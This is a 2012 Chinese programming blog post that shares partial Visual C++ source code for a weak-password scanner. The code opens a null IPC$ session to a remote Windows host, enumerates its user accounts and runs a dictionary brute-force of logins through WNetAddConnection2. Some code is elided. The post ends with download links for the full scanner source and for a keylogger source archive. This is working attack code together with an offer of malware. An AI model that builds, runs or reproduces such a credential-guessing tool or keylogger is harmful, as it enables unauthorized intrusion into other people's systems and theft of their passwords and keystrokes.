[编程源码]VC 弱口令扫描 键盘记录

//
typedef struct {   //用户结构
TCHAR  name[MAX_NAME_PWD_LEN];//用户名,Unicode字符
int   usertype;//用户的类型,2为administrators组,1为users组,0为guests组。
void*  user_next;   //下一个的指针
}USER, *LPUSER;
typedef struct {   //密码结构
TCHAR  pwd[MAX_NAME_PWD_LEN]; //密码,Unicode字符
void*  pwd_next;   //下一个的指针
}PWD, *LPPWD;
int getuser(char* server, LPUSER user)函数,用于获取用户列表:
int getuser(char* server, LPUSER user)
{
NETRESOURCE  netresource;  // 这是一个网络资源的结构
…………(略部分申明变量和赋值代码,下同)
sprintf (ipc, "\\\\%s\\ipc$", server);   //变成\\ip\ipc$格式
MultiByteToWideChar (CP_ACP,0, ipc,-1,Tipc,MAX_PATH);  // Tipc为ipc 的Unicode字串
MultiByteToWideChar (CP_ACP,0, server,-1,Tserver,MAX_PATH);
…………
netresource.lpRemoteName =Tipc;  //将Tipc赋给netresource
//******试着建立空会话 ****
result=WNetAddConnection2(&netresource,_T(""),_T(""),0); if(result!=ERROR_SUCCESS) {
  printf("\nConnect IPC$ Failed.\n");
  return -1;   //失败,返回-1
}
//******试着获得用户列表****
LPUSER_INFO_1  pBuf_1 = NULL, pTmpBuf_1;   //两个USER_INFO_1结构指针
DWORD    dwLevel=1;
…………
nStatus = NetUserEnum(Tserver, dwLevel,   // level 1级,用USER_INFO_1结构
      FILTER_NORMAL_ACCOUNT,   // 获得所有的用户
      (LPBYTE*)&pBuf_1,   //返回的用户缓冲区的指针
      dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{ if ((pTmpBuf_1 = pBuf_1) != NULL)   //如果成功获得用户的列表
  {
for (i = 0; (i<dwEntriesRead); i++)   //将用户信息逐个赋给用户链表
    {
    _tcscpy (usernow->name,pTmpBuf_1->usri1_name);  //用户名
    usernow->usertype = pTmpBuf_1->usri1_priv;  //用户的权限,也就是组别
    if( i!=dwEntriesRead-1){  //如果不是最后一个用户
     usernow->user_next=new USER;  // 就向内存申请一个USER结构
     usernow = (USER *)usernow->user_next;  // usernow指向新申请的USER
    }
    pTmpBuf_1++;
} } } //end for
usernow->user_next=NULL;  //最后一个USER的指针设为NULL
//******断开空会话 ****
result=WNetCancelConnection2(Tipc,0,TRUE);
…………
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
  printf("Get user list Success.\n"); return 0; }  //成功获得用户列表,返回0
else
  {printf("Cannot get user list.\n"); return -1;}  //否则,返回-1
int main( int argc, char *argv[ ] ),主函数:
int main( int argc, char *argv[] )
{
USER   user;
LPUSER  usernow=&user;
PWD   pwd;
LPPWD  pwdnow=&pwd;  //定义USER和PWD,分别用于制做用户和密码链表
if (argc!=3) {useage();return -1;}
…………(省略将字典文件读入密码列表的代码)
if (getuser(argv[1] ,&user)) return -1; //调用getuser函数,用于获取用户列表
usernow=&user;  //将usernow指针指向用户链表开始处
…………
wprintf(_T("scanning...\n"));  //开始扫描
while(usernow )
{
  while(pwdnow)
  {
   if(!_tcsnccmp(pwdnow->pwd,_T("%user%"),6)){  //如果密码中有%user%就用用户名替换
    _tcscpy(TempPwd,usernow->name);
    _tcscat(TempPwd,pwdnow->pwd+6);
   }
   else tcscpy(TempPwd,pwdnow->pwd);
   result=WNetAddConnection2(&netresource,TempPwd,usernow->name,0);
   if(result==ERROR_SUCCESS)  //如果成功
   {
…………(省略将结果输出的代码)
    result=WNetCancelConnection2(Tipc,0,TRUE);  //记得将连接断开
…………
    break;  //跳出,扫描下一个用户
   }                
   pwdnow =(LPPWD)pwdnow->pwd_next;// pwdnow指向下一个密码
  }//end while(pwdnow)
  pwdnow=&pwd; // 一个用户试过所有的密码后,pwdnow指向第一个密码,开始扫描下一个用户
  usernow = (LPUSER)usernow->user_next;  // pwdnow指向下一个用户
}//end while(usernow )
return 0
}

点击进入下载-VC源码___弱口令扫描器源码.rar
点击进入下载-VC源码___键盘记录器.rar
posted @ 2012-01-28 16:21  stma  阅读(500)  评论(0)    收藏  举报